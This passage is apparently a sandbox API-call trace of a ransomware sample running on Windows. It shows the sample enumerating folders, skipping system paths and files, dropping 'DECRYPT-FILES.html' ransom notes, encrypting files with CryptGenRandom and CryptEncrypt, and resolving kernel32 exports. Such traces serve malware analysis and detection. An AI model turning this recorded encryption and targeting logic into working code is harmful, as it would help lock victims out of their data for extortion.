ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88604d90, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88604d90, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0056.678] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0056.678] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0056.678] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0056.678] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0056.678] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0056.678] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0056.678] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0056.678] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0056.678] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0056.678] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0056.678] lstrlenW (lpString="C:\\$Recycle.Bin\\") returned 16 [0056.678] lstrlenW (lpString="wevkgn5.dat") returned 11 [0056.678] lstrcpyW (in: lpString1=0x321f268, lpString2="C:\\$Recycle.Bin\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0056.678] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\$Recycle.Bin\\wevkgn5.dat") returned="C:\\$Recycle.Bin\\wevkgn5.dat" [0056.678] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0056.679] CreateFileW (lpFileName="C:\\$Recycle.Bin\\wevkgn5.dat" (normalized: "c:\\$recycle.bin\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.679] CloseHandle (hObject=0x0) returned 0 [0056.679] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.679] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88604d90, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88604d90, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88604d90, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0056.679] FindClose (in: hFindFile=0x66cf18 | out: hFindFile=0x66cf18) returned 1 [0056.679] CloseHandle (hObject=0x23c) returned 1 [0056.679] FindNextFileW (in: hFindFile=0x66ce18, lpFindFileData=0x321fd14 | out: lpFindFileData=0x321fd14*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c34864, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0056.679] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0056.679] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0056.679] lstrcatW (in: lpString1="Boot", lpString2="\\" | out: lpString1="Boot\\") returned="Boot\\" [0056.679] lstrcatW (in: lpString1="C:\\", lpString2="Boot\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0056.679] StrStrW (lpFirst="C:\\Boot\\", lpSrch=":\\Windows") returned 0x0 [0056.679] StrStrW (lpFirst="C:\\Boot\\", lpSrch="\\Program Files") returned 0x0 [0056.680] StrStrW (lpFirst="C:\\Boot\\", lpSrch="\\Games\\") returned 0x0 [0056.680] StrStrW (lpFirst="C:\\Boot\\", lpSrch="\\Tor Browser\\") returned 0x0 [0056.680] StrStrW (lpFirst="C:\\Boot\\", lpSrch="\\ProgramData\\") returned 0x0 [0056.680] StrStrW (lpFirst="C:\\Boot\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0056.680] StrStrW (lpFirst="C:\\Boot\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0056.680] StrStrW (lpFirst="C:\\Boot\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0056.680] StrStrW (lpFirst="C:\\Boot\\", lpSrch="\\All Users") returned 0x0 [0056.680] lstrlenW (lpString="C:\\Boot\\") returned 8 [0056.680] lstrlenW (lpString="wevkgn5.dat") returned 11 [0056.680] wsprintfW (in: param_1=0x321f278, param_2="%s\\%s" | out: param_1="C:\\Boot\\\\wevkgn5.dat") returned 20 [0056.680] CreateFileW (lpFileName="C:\\Boot\\\\wevkgn5.dat" (normalized: "c:\\boot\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x23c [0056.680] lstrlenW (lpString="C:\\Boot\\") returned 8 [0056.680] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0056.680] wsprintfW (in: param_1=0x321f278, param_2="%s\\%s" | out: param_1="C:\\Boot\\\\DECRYPT-FILES.html") returned 27 [0056.680] CreateFileW (lpFileName="C:\\Boot\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0056.681] WriteFile (in: hFile=0x240, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321f274, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321f274*=0x19ba, lpOverlapped=0x0) returned 1 [0056.682] CloseHandle (hObject=0x240) returned 1 [0056.682] lstrlenW (lpString="C:\\Boot\\") returned 8 [0056.682] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="*" | out: lpString1="C:\\Boot\\*") returned="C:\\Boot\\*" [0056.682] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x8869d310, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x8869d310, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cf18 [0056.682] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0056.682] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x8869d310, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x8869d310, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.682] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0056.682] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0056.682] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0056.682] lstrcmpiW (lpString1="BCD", lpString2="DECRYPT-FILES.html") returned -1 [0056.682] lstrcmpiW (lpString1="BCD", lpString2="autorun.inf") returned 1 [0056.682] lstrcmpiW (lpString1="BCD", lpString2="boot.ini") returned -1 [0056.682] lstrcmpiW (lpString1="BCD", lpString2="desktop.ini") returned -1 [0056.682] lstrcmpiW (lpString1="BCD", lpString2="ntuser.dat") returned -1 [0056.682] lstrcmpiW (lpString1="BCD", lpString2="iconcache.db") returned -1 [0056.682] lstrcmpiW (lpString1="BCD", lpString2="bootsect.bak") returned -1 [0056.682] lstrcmpiW (lpString1="BCD", lpString2="ntuser.dat.log") returned -1 [0056.682] lstrcmpiW (lpString1="BCD", lpString2="thumbs.db") returned -1 [0056.682] lstrcmpiW (lpString1="BCD", lpString2="Bootfont.bin") returned -1 [0056.682] lstrlenW (lpString="C:\\Boot\\") returned 8 [0056.682] lstrlenW (lpString="BCD") returned 3 [0056.683] lstrcpyW (in: lpString1=0x321f268, lpString2="C:\\Boot\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0056.683] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD" | out: lpString1="C:\\Boot\\BCD") returned="C:\\Boot\\BCD" [0056.683] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0056.683] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.683] CloseHandle (hObject=0x0) returned 0 [0056.683] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.683] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0056.683] lstrcmpiW (lpString1="BCD.LOG", lpString2="DECRYPT-FILES.html") returned -1 [0056.683] lstrcmpiW (lpString1="BCD.LOG", lpString2="autorun.inf") returned 1 [0056.683] lstrcmpiW (lpString1="BCD.LOG", lpString2="boot.ini") returned -1 [0056.684] lstrcmpiW (lpString1="BCD.LOG", lpString2="desktop.ini") returned -1 [0056.684] lstrcmpiW (lpString1="BCD.LOG", lpString2="ntuser.dat") returned -1 [0056.684] lstrcmpiW (lpString1="BCD.LOG", lpString2="iconcache.db") returned -1 [0056.684] lstrcmpiW (lpString1="BCD.LOG", lpString2="bootsect.bak") returned -1 [0056.684] lstrcmpiW (lpString1="BCD.LOG", lpString2="ntuser.dat.log") returned -1 [0056.684] lstrcmpiW (lpString1="BCD.LOG", lpString2="thumbs.db") returned -1 [0056.684] lstrcmpiW (lpString1="BCD.LOG", lpString2="Bootfont.bin") returned -1 [0056.684] lstrlenW (lpString="C:\\Boot\\") returned 8 [0056.684] lstrlenW (lpString="BCD.LOG") returned 7 [0056.684] lstrcpyW (in: lpString1=0x321f268, lpString2="C:\\Boot\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0056.684] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG" | out: lpString1="C:\\Boot\\BCD.LOG") returned="C:\\Boot\\BCD.LOG" [0056.684] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0056.684] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.684] CloseHandle (hObject=0x0) returned 0 [0056.684] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.685] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0056.685] lstrcmpiW (lpString1="BCD.LOG1", lpString2="DECRYPT-FILES.html") returned -1 [0056.685] lstrcmpiW (lpString1="BCD.LOG1", lpString2="autorun.inf") returned 1 [0056.685] lstrcmpiW (lpString1="BCD.LOG1", lpString2="boot.ini") returned -1 [0056.685] lstrcmpiW (lpString1="BCD.LOG1", lpString2="desktop.ini") returned -1 [0056.685] lstrcmpiW (lpString1="BCD.LOG1", lpString2="ntuser.dat") returned -1 [0056.685] lstrcmpiW (lpString1="BCD.LOG1", lpString2="iconcache.db") returned -1 [0056.685] lstrcmpiW (lpString1="BCD.LOG1", lpString2="bootsect.bak") returned -1 [0056.685] lstrcmpiW (lpString1="BCD.LOG1", lpString2="ntuser.dat.log") returned -1 [0056.685] lstrcmpiW (lpString1="BCD.LOG1", lpString2="thumbs.db") returned -1 [0056.685] lstrcmpiW (lpString1="BCD.LOG1", lpString2="Bootfont.bin") returned -1 [0056.685] lstrlenW (lpString="C:\\Boot\\") returned 8 [0056.685] lstrlenW (lpString="BCD.LOG1") returned 8 [0056.685] lstrcpyW (in: lpString1=0x321f268, lpString2="C:\\Boot\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0056.685] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG1" | out: lpString1="C:\\Boot\\BCD.LOG1") returned="C:\\Boot\\BCD.LOG1" [0056.685] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0056.685] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0056.686] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x321ea30 | out: lpFileSize=0x321ea30*=0) returned 1 [0056.686] CreateFileMappingW (hFile=0x21c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x0 [0056.686] CloseHandle (hObject=0x0) returned 0 [0056.686] CloseHandle (hObject=0x21c) returned 1 [0056.686] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.686] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0056.686] lstrcmpiW (lpString1="BCD.LOG2", lpString2="DECRYPT-FILES.html") returned -1 [0056.686] lstrcmpiW (lpString1="BCD.LOG2", lpString2="autorun.inf") returned 1 [0056.686] lstrcmpiW (lpString1="BCD.LOG2", lpString2="boot.ini") returned -1 [0056.686] lstrcmpiW (lpString1="BCD.LOG2", lpString2="desktop.ini") returned -1 [0056.686] lstrcmpiW (lpString1="BCD.LOG2", lpString2="ntuser.dat") returned -1 [0056.686] lstrcmpiW (lpString1="BCD.LOG2", lpString2="iconcache.db") returned -1 [0056.686] lstrcmpiW (lpString1="BCD.LOG2", lpString2="bootsect.bak") returned -1 [0056.686] lstrcmpiW (lpString1="BCD.LOG2", lpString2="ntuser.dat.log") returned -1 [0056.686] lstrcmpiW (lpString1="BCD.LOG2", lpString2="thumbs.db") returned -1 [0056.686] lstrcmpiW (lpString1="BCD.LOG2", lpString2="Bootfont.bin") returned -1 [0056.686] lstrlenW (lpString="C:\\Boot\\") returned 8 [0056.686] lstrlenW (lpString="BCD.LOG2") returned 8 [0056.686] lstrcpyW (in: lpString1=0x321f268, lpString2="C:\\Boot\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0056.687] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG2" | out: lpString1="C:\\Boot\\BCD.LOG2") returned="C:\\Boot\\BCD.LOG2" [0056.687] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0056.687] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0056.687] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x321ea30 | out: lpFileSize=0x321ea30*=0) returned 1 [0056.687] CreateFileMappingW (hFile=0x21c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x0 [0056.687] CloseHandle (hObject=0x0) returned 0 [0056.687] CloseHandle (hObject=0x21c) returned 1 [0056.687] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.688] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0056.688] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="DECRYPT-FILES.html") returned -1 [0056.688] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="autorun.inf") returned 1 [0056.688] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="boot.ini") returned 1 [0056.688] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="desktop.ini") returned -1 [0056.688] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="ntuser.dat") returned -1 [0056.688] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="iconcache.db") returned -1 [0056.688] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="bootsect.bak") returned 1 [0056.688] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="ntuser.dat.log") returned -1 [0056.688] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="thumbs.db") returned -1 [0056.688] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="Bootfont.bin") returned 1 [0056.688] lstrlenW (lpString="C:\\Boot\\") returned 8 [0056.688] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0056.688] lstrcpyW (in: lpString1=0x321f268, lpString2="C:\\Boot\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0056.688] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BOOTSTAT.DAT" | out: lpString1="C:\\Boot\\BOOTSTAT.DAT") returned="C:\\Boot\\BOOTSTAT.DAT" [0056.688] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0056.688] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0056.714] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x321ea30 | out: lpFileSize=0x321ea30*=65536) returned 1 [0056.714] CreateFileMappingW (hFile=0x1f8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x204 [0056.714] MapViewOfFile (hFileMappingObject=0x204, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2f40000 [0056.720] CryptGenRandom (in: hProv=0x680530, dwLen=0x20, pbBuffer=0x630000 | out: pbBuffer=0x630000) returned 1 [0056.720] CryptGenRandom (in: hProv=0x680530, dwLen=0x8, pbBuffer=0x630020 | out: pbBuffer=0x630020) returned 1 [0056.720] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2f50000 [0056.721] CryptEncrypt (in: hKey=0x66cdd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f50000*, pdwDataLen=0x321e998*=0x28, dwBufLen=0x100 | out: pbData=0x2f50000*, pdwDataLen=0x321e998*=0x100) returned 1 [0056.721] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2fb0000 [0056.728] VirtualFree (lpAddress=0x2fb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.728] UnmapViewOfFile (lpBaseAddress=0x2f40000) returned 1 [0056.729] CloseHandle (hObject=0x204) returned 1 [0056.729] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.729] WriteFile (in: hFile=0x1f8, lpBuffer=0x2f50000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x321e9b8, lpOverlapped=0x0 | out: lpBuffer=0x2f50000*, lpNumberOfBytesWritten=0x321e9b8*=0x108, lpOverlapped=0x0) returned 1 [0056.730] CloseHandle (hObject=0x0) returned 0 [0056.730] CloseHandle (hObject=0x1f8) returned 1 [0057.547] VirtualFree (lpAddress=0x2f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.547] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.548] GetTickCount () returned 0x1d2b9 [0057.548] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0057.548] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0057.548] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2f50000 [0057.548] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2fb0000 [0057.549] lstrlenA (lpString="kernel32.dll") returned 12 [0057.549] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0057.612] lstrcpyA (in: lpString1=0x321ddb0, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0057.612] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0057.612] lstrcpyA (in: lpString1=0x321ddb0, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0057.612] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0057.612] lstrcpyA (in: lpString1=0x321ddb0, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0057.612] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0057.612] lstrcpyA (in: lpString1=0x321ddb0, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0057.612] lstrlenA (lpString="ADDATOMA") returned 8 [0057.612] lstrcpyA (in: lpString1=0x321ddb0, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0057.612] lstrlenA (lpString="ADDATOMW") returned 8 [0057.612] lstrcpyA (in: lpString1=0x321ddb0, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0057.612] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0057.612] lstrcpyA (in: lpString1=0x321ddb0, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0057.612] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0057.612] lstrcpyA (in: lpString1=0x321ddb0, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0057.612] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0057.613] lstrcpyA (in: lpString1=0x321ddb0, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0057.613] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0057.613] lstrcpyA (in: lpString1=0x321ddb0, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0057.613] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0057.613] lstrcpyA (in: lpString1=0x321ddb0, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0057.613] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0057.613] lstrcpyA (in: lpString1=0x321ddb0, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0057.613] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0057.613] lstrcpyA (in: lpString1=0x321ddb0, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0057.613] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0057.613] lstrcpyA (in: lpString1=0x321ddb0, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0057.613] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0057.613] lstrcpyA (in: lpString1=0x321ddb0, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0057.613] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0057.613] lstrcpyA (in: lpString1=0x321ddb0, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0057.613] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0057.613] lstrcpyA (in: lpString1=0x321ddb0, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0057.613] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0057.613] lstrcpyA (in: lpString1=0x321ddb0, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0057.613] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0057.613] lstrcpyA (in: lpString1=0x321ddb0, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0057.613] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0057.613] lstrcpyA (in: lpString1=0x321ddb0, lpString2="ApplicationRecoveryFinished" | out: 